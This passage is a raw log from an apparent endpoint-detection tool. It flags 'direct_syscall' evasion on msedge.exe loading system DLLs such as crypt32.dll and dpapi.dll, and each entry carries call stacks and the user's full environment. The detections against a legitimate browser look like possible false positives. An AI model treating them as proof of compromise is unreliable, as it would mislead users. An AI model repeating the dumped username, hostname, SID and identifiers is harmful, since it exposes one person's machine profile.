EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b6816c3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8ef32926 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec3cf6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec378d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179330 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9830325 +0100 CET + Params: base_address➜ 7ffcc8a70000, checksum➜ 2747780, default_address➜ 7ffcc8a70000, file_path➜ C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7019_none_3e06ffa0e335b8a8\comctl32.dll, image_size➜ 2703360, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b682a86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cec3f31 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec379e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179375 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9857691 +0100 CET + Params: base_address➜ 7ffcdc600000, checksum➜ 1584869, default_address➜ 7ffcdc600000, file_path➜ C:\Windows\System32\crypt32.dll, image_size➜ 1536000, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b681c18 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc9588027b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!sqlite3_dbdata_init|0x7ffc9acffcd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cfa46bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfa4439 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3b29 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec37af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179425 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9879431 +0100 CET + Params: base_address➜ 7ffcdb730000, checksum➜ 42814, default_address➜ 7ffcdb730000, file_path➜ C:\Windows\System32\dpapi.dll, image_size➜ 40960, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program 